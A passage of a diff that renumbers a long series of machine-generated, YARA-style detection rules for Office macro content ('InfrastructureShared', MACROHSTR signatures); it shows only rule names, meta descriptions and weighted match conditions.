1)*8805+(#a_62_2 & 1)*30209+(#a_32_3 & 1)*25907+(#a_65_4 & 1)*21251) >=5 } -rule _InfrastructureShared_22957{ +rule _InfrastructureShared_24242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299513,7 +315996,7 @@ rule _InfrastructureShared_22957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22958{ +rule _InfrastructureShared_24243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299523,7 +316006,7 @@ rule _InfrastructureShared_22958{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22959{ +rule _InfrastructureShared_24244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -299535,7 +316018,7 @@ rule _InfrastructureShared_22959{ ((#a_53_0 & 1)*19747+(#a_41_1 & 1)*3845+(#a_00_2 & 1)*144) >=1 } -rule _InfrastructureShared_22960{ +rule _InfrastructureShared_24245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -299548,7 +316031,7 @@ rule _InfrastructureShared_22960{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*13889+(#a_6c_2 & 1)*24948+(#a_6f_3 & 1)*28257) >=1 } -rule _InfrastructureShared_22961{ +rule _InfrastructureShared_24246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299559,7 +316042,7 @@ rule _InfrastructureShared_22961{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*17153) >=2 } -rule _InfrastructureShared_22962{ +rule _InfrastructureShared_24247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299570,7 +316053,7 @@ rule _InfrastructureShared_22962{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*26226) >=2 } -rule _InfrastructureShared_22963{ +rule _InfrastructureShared_24248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299582,7 +316065,7 @@ rule _InfrastructureShared_22963{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30309+(#a_6f_2 & 1)*28279) >=3 } -rule _InfrastructureShared_22964{ +rule _InfrastructureShared_24249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299595,7 +316078,7 @@ rule _InfrastructureShared_22964{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*28259+(#a_65_2 & 1)*24933+(#a_05_3 & 1)*-28634) >=4 } -rule _InfrastructureShared_22965{ +rule _InfrastructureShared_24250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -299609,7 +316092,7 @@ rule _InfrastructureShared_22965{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*8262+(#a_4d_3 & 1)*8448+(#a_20_4 & 1)*30035+(#a_61_5 & 1)*28530) >=5 } -rule _InfrastructureShared_22966{ +rule _InfrastructureShared_24251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299619,7 +316102,7 @@ rule _InfrastructureShared_22966{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22967{ +rule _InfrastructureShared_24252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299629,7 +316112,7 @@ rule _InfrastructureShared_22967{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22968{ +rule _InfrastructureShared_24253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299640,7 +316123,7 @@ rule _InfrastructureShared_22968{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*26736) >=1 } -rule _InfrastructureShared_22969{ +rule _InfrastructureShared_24254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299651,7 +316134,7 @@ rule _InfrastructureShared_22969{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*25938) >=1 } -rule _InfrastructureShared_22970{ +rule _InfrastructureShared_24255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299662,7 +316145,7 @@ rule _InfrastructureShared_22970{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*11008) >=1 } -rule _InfrastructureShared_22971{ +rule _InfrastructureShared_24256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -299676,7 +316159,7 @@ rule _InfrastructureShared_22971{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*29730+(#a_6f_2 & 1)*28788+(#a_74_3 & 1)*25965+(#a_22_4 & 1)*11040) >=1 } -rule _InfrastructureShared_22972{ +rule _InfrastructureShared_24257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299687,7 +316170,7 @@ rule _InfrastructureShared_22972{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28782) >=2 } -rule _InfrastructureShared_22973{ +rule _InfrastructureShared_24258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299698,7 +316181,7 @@ rule _InfrastructureShared_22973{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*27243) >=2 } -rule _InfrastructureShared_22974{ +rule _InfrastructureShared_24259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299709,7 +316192,7 @@ rule _InfrastructureShared_22974{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*16386) >=2 } -rule _InfrastructureShared_22975{ +rule _InfrastructureShared_24260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299720,7 +316203,7 @@ rule _InfrastructureShared_22975{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_22976{ +rule _InfrastructureShared_24261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299731,7 +316214,7 @@ rule _InfrastructureShared_22976{ ((#a_73_0 & 1)*20515+(#a_00_1 & 1)*2573) >=2 } -rule _InfrastructureShared_22977{ +rule _InfrastructureShared_24262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299743,7 +316226,7 @@ rule _InfrastructureShared_22977{ ((#a_53_0 & 1)*19747+(#a_60_1 & 1)*-28622+(#a_2b_2 & 1)*8800) >=3 } -rule _InfrastructureShared_22978{ +rule _InfrastructureShared_24263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299755,7 +316238,7 @@ rule _InfrastructureShared_22978{ ((#a_53_0 & 1)*19747+(#a_6f_2 & 1)*19538+(#a_4d_3 & 1)*14671) >=4 } -rule _InfrastructureShared_22979{ +rule _InfrastructureShared_24264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299768,7 +316251,7 @@ rule _InfrastructureShared_22979{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*26469+(#a_72_2 & 1)*33+(#a_01_3 & 1)*29807) >=4 } -rule _InfrastructureShared_22980{ +rule _InfrastructureShared_24265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299782,7 +316265,7 @@ rule _InfrastructureShared_22980{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*9+(#a_61_2 & 1)*21298+(#a_75_3 & 1)*25938+(#a_43_4 & 1)*21076) >=5 } -rule _InfrastructureShared_22981{ +rule _InfrastructureShared_24266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299795,7 +316278,7 @@ rule _InfrastructureShared_22981{ ((#a_46_0 & 1)*21283+(#a_65_2 & 1)*20225+(#a_6e_3 & 1)*264+(#a_53_4 & 1)*29793) >=5 } -rule _InfrastructureShared_22982{ +rule _InfrastructureShared_24267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -299810,7 +316293,7 @@ rule _InfrastructureShared_22982{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*262+(#a_61_2 & 1)*25701+(#a_66_3 & 1)*25707+(#a_73_4 & 1)*25956+(#a_61_5 & 1)*25193) >=6 } -rule _InfrastructureShared_22983{ +rule _InfrastructureShared_24268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -299822,7 +316305,7 @@ rule _InfrastructureShared_22983{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*25970+(#a_69_2 & 1)*25409) >=12 } -rule _InfrastructureShared_22984{ +rule _InfrastructureShared_24269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,15 00 15 00 03 00 21 " @@ -299834,7 +316317,7 @@ rule _InfrastructureShared_22984{ ((#a_4c_0 & 1)*21539+(#a_29_1 & 1)*10355+(#a_00_2 & 1)*1) >=21 } -rule _InfrastructureShared_22985{ +rule _InfrastructureShared_24270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299844,7 +316327,7 @@ rule _InfrastructureShared_22985{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22986{ +rule _InfrastructureShared_24271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299855,7 +316338,7 @@ rule _InfrastructureShared_22986{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*9762) >=1 } -rule _InfrastructureShared_22987{ +rule _InfrastructureShared_24272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299867,7 +316350,7 @@ rule _InfrastructureShared_22987{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26628+(#a_61_2 & 1)*25701) >=3 } -rule _InfrastructureShared_22988{ +rule _InfrastructureShared_24273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -299881,7 +316364,7 @@ rule _InfrastructureShared_22988{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*384+(#a_33_2 & 1)*25443+(#a_00_3 & 1)*66+(#a_4c_4 & 1)*21760) >=3 } -rule _InfrastructureShared_22989{ +rule _InfrastructureShared_24274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299894,7 +316377,7 @@ rule _InfrastructureShared_22989{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*13364+(#a_48_2 & 1)*8993+(#a_73_3 & 1)*26469) >=4 } -rule _InfrastructureShared_22990{ +rule _InfrastructureShared_24275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299906,7 +316389,7 @@ rule _InfrastructureShared_22990{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*27716+(#a_72_2 & 1)*10350) >=4 } -rule _InfrastructureShared_22991{ +rule _InfrastructureShared_24276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299918,7 +316401,7 @@ rule _InfrastructureShared_22991{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*10559+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_22992{ +rule _InfrastructureShared_24277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299928,7 +316411,7 @@ rule _InfrastructureShared_22992{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22993{ +rule _InfrastructureShared_24278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299938,7 +316421,7 @@ rule _InfrastructureShared_22993{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22994{ +rule _InfrastructureShared_24279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299949,7 +316432,7 @@ rule _InfrastructureShared_22994{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*9762) >=1 } -rule _InfrastructureShared_22995{ +rule _InfrastructureShared_24280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -299963,7 +316446,7 @@ rule _InfrastructureShared_22995{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*12090+(#a_28_2 & 1)*25968+(#a_4d_3 & 1)*20801+(#a_20_4 & 1)*656) >=1 } -rule _InfrastructureShared_22996{ +rule _InfrastructureShared_24281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299974,7 +316457,7 @@ rule _InfrastructureShared_22996{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11298) >=2 } -rule _InfrastructureShared_22997{ +rule _InfrastructureShared_24282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299986,7 +316469,7 @@ rule _InfrastructureShared_22997{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12290+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_22998{ +rule _InfrastructureShared_24283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299999,7 +316482,7 @@ rule _InfrastructureShared_22998{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29808+(#a_6f_2 & 1)*21562+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_22999{ +rule _InfrastructureShared_24284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300012,7 +316495,7 @@ rule _InfrastructureShared_22999{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*3584+(#a_2e_2 & 1)*656+(#a_78_3 & 1)*25443) >=4 } -rule _InfrastructureShared_23000{ +rule _InfrastructureShared_24285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -300028,7 +316511,7 @@ rule _InfrastructureShared_23000{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*28279+(#a_90_2 & 1)*10240+(#a_2c_3 & 1)*31+(#a_23_4 & 1)*3+(#a_61_5 & 1)*26479+(#a_42_6 & 1)*19745) >=7 } -rule _InfrastructureShared_23001{ +rule _InfrastructureShared_24286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300038,7 +316521,7 @@ rule _InfrastructureShared_23001{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23002{ +rule _InfrastructureShared_24287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -300050,7 +316533,7 @@ rule _InfrastructureShared_23002{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*31277+(#a_84_2 & 1)*0) >=2 } -rule _InfrastructureShared_23003{ +rule _InfrastructureShared_24288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300062,7 +316545,7 @@ rule _InfrastructureShared_23003{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*29293+(#a_53_2 & 1)*11875) >=3 } -rule _InfrastructureShared_23004{ +rule _InfrastructureShared_24289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -300078,7 +316561,7 @@ rule _InfrastructureShared_23004{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25972+(#a_75_2 & 1)*24918+(#a_43_3 & 1)*22597+(#a_00_4 & 1)*8738+(#a_39_5 & 1)*14962+(#a_2f_6 & 1)*656) >=7 } -rule _InfrastructureShared_23005{ +rule _InfrastructureShared_24290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300088,7 +316571,7 @@ rule _InfrastructureShared_23005{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23006{ +rule _InfrastructureShared_24291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300098,7 +316581,7 @@ rule _InfrastructureShared_23006{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23007{ +rule _InfrastructureShared_24292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300108,7 +316591,7 @@ rule _InfrastructureShared_23007{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23008{ +rule _InfrastructureShared_24293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300119,7 +316602,7 @@ rule _InfrastructureShared_23008{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*9762) >=1 } -rule _InfrastructureShared_23009{ +rule _InfrastructureShared_24294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300130,7 +316613,7 @@ rule _InfrastructureShared_23009{ ((#a_4c_0 & 1)*21539+(#a_06_1 & 1)*-28638) >=1 } -rule _InfrastructureShared_23010{ +rule _InfrastructureShared_24295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300141,7 +316624,7 @@ rule _InfrastructureShared_23010{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25205) >=2 } -rule _InfrastructureShared_23011{ +rule _InfrastructureShared_24296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300153,7 +316636,7 @@ rule _InfrastructureShared_23011{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*28515+(#a_63_2 & 1)*782) >=3 } -rule _InfrastructureShared_23012{ +rule _InfrastructureShared_24297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300165,7 +316648,7 @@ rule _InfrastructureShared_23012{ ((#a_4c_0 & 1)*21539+(#a_44_2 & 1)*21077+(#a_4d_3 & 1)*14671) >=4 } -rule _InfrastructureShared_23013{ +rule _InfrastructureShared_24298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -300178,7 +316661,7 @@ rule _InfrastructureShared_23013{ ((#a_54_0 & 1)*19747+(#a_75_1 & 1)*28484+(#a_72_2 & 1)*17184+(#a_6f_3 & 1)*28279) >=10 } -rule _InfrastructureShared_23014{ +rule _InfrastructureShared_24299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300188,7 +316671,7 @@ rule _InfrastructureShared_23014{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23015{ +rule _InfrastructureShared_24300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300199,7 +316682,7 @@ rule _InfrastructureShared_23015{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8707) >=1 } -rule _InfrastructureShared_23016{ +rule _InfrastructureShared_24301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300210,7 +316693,7 @@ rule _InfrastructureShared_23016{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*9762) >=1 } -rule _InfrastructureShared_23017{ +rule _InfrastructureShared_24302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -300222,7 +316705,7 @@ rule _InfrastructureShared_23017{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25956+(#a_69_2 & 1)*21761) >=1 } -rule _InfrastructureShared_23018{ +rule _InfrastructureShared_24303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -300235,7 +316718,7 @@ rule _InfrastructureShared_23018{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*275+(#a_65_2 & 1)*26950+(#a_57_3 & 1)*29801) >=1 } -rule _InfrastructureShared_23019{ +rule _InfrastructureShared_24304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -300248,7 +316731,7 @@ rule _InfrastructureShared_23019{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*25964+(#a_74_2 & 1)*26994+(#a_72_3 & 1)*8736) >=1 } -rule _InfrastructureShared_23020{ +rule _InfrastructureShared_24305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -300262,7 +316745,7 @@ rule _InfrastructureShared_23020{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*15616+(#a_74_3 & 1)*26914+(#a_62_4 & 1)*21249+(#a_2c_5 & 1)*24932) >=1 } -rule _InfrastructureShared_23021{ +rule _InfrastructureShared_24306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300275,7 +316758,7 @@ rule _InfrastructureShared_23021{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*12898+(#a_00_2 & 1)*8812+(#a_65_3 & 1)*11777) >=4 } -rule _InfrastructureShared_23022{ +rule _InfrastructureShared_24307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300287,7 +316770,7 @@ rule _InfrastructureShared_23022{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*29285+(#a_00_2 & 1)*10361) >=4 } -rule _InfrastructureShared_23023{ +rule _InfrastructureShared_24308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 08 00 21 " @@ -300303,7 +316786,7 @@ rule _InfrastructureShared_23023{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_74_2 & 1)*25857+(#a_3d_4 & 1)*24934+(#a_74_5 & 1)*29811+(#a_65_6 & 1)*784+(#a_37_7 & 1)*20282) >=4 } -rule _InfrastructureShared_23024{ +rule _InfrastructureShared_24309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -300317,7 +316800,7 @@ rule _InfrastructureShared_23024{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*284+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_23025{ +rule _InfrastructureShared_24310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -300329,7 +316812,7 @@ rule _InfrastructureShared_23025{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12034+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_23026{ +rule _InfrastructureShared_24311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300339,7 +316822,7 @@ rule _InfrastructureShared_23026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23027{ +rule _InfrastructureShared_24312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300350,7 +316833,7 @@ rule _InfrastructureShared_23027{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*815) >=1 } -rule _InfrastructureShared_23028{ +rule _InfrastructureShared_24313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300361,7 +316844,7 @@ rule _InfrastructureShared_23028{ ((#a_53_0 & 1)*19747+(#a_10_1 & 1)*-28638) >=1 } -rule _InfrastructureShared_23029{ +rule _InfrastructureShared_24314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300372,7 +316855,7 @@ rule _InfrastructureShared_23029{ ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*8808) >=1 } -rule _InfrastructureShared_23030{ +rule _InfrastructureShared_24315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -300385,7 +316868,7 @@ rule _InfrastructureShared_23030{ ((#a_53_0 & 1)*19747+(#a_41_1 & 1)*17213+(#a_2e_2 & 1)*28484+(#a_74_3 & 1)*25445) >=1 } -rule _InfrastructureShared_23031{ +rule _InfrastructureShared_24316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -300396,7 +316879,7 @@ rule _InfrastructureShared_23031{ ((#a_53_0 & 1)*19747+(#a_72_2 & 1)*29761) >=2 } -rule _InfrastructureShared_23032{ +rule _InfrastructureShared_24317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300408,7 +316891,7 @@ rule _InfrastructureShared_23032{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*12590+(#a_23_2 & 1)*1) >=3 } -rule _InfrastructureShared_23033{ +rule _InfrastructureShared_24318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300418,7 +316901,7 @@ rule _InfrastructureShared_23033{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23034{ +rule _InfrastructureShared_24319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300429,7 +316912,7 @@ rule _InfrastructureShared_23034{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*28524) >=1 } -rule _InfrastructureShared_23035{ +rule _InfrastructureShared_24320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300440,7 +316923,7 @@ rule _InfrastructureShared_23035{ ((#a_4c_0 & 1)*21539+(#a_1b_1 & 1)*29697) >=1 } -rule _InfrastructureShared_23036{ +rule _InfrastructureShared_24321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -300452,7 +316935,7 @@ rule _InfrastructureShared_23036{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*29800+(#a_22_2 & 1)*12031) >=1 } -rule _InfrastructureShared_23037{ +rule _InfrastructureShared_24322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -300467,7 +316950,7 @@ rule _InfrastructureShared_23037{ ((#a_6f_0 & 1)*17699+(#a_63_1 & 1)*26723+(#a_6c_2 & 1)*26144+(#a_6e_3 & 1)*8291+(#a_4d_5 & 1)*8448+(#a_4c_6 & 1)*21794) >=1 } -rule _InfrastructureShared_23038{ +rule _InfrastructureShared_24323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300477,7 +316960,7 @@ rule _InfrastructureShared_23038{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_23039{ +rule _InfrastructureShared_24324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300490,7 +316973,7 @@ rule _InfrastructureShared_23039{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*285+(#a_2e_2 & 1)*28484+(#a_70_3 & 1)*29800) >=4 } -rule _InfrastructureShared_23040{ +rule _InfrastructureShared_24325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -300504,7 +316987,7 @@ rule _InfrastructureShared_23040{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_88_4 & 1)*0) >=5 } -rule _InfrastructureShared_23041{ +rule _InfrastructureShared_24326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 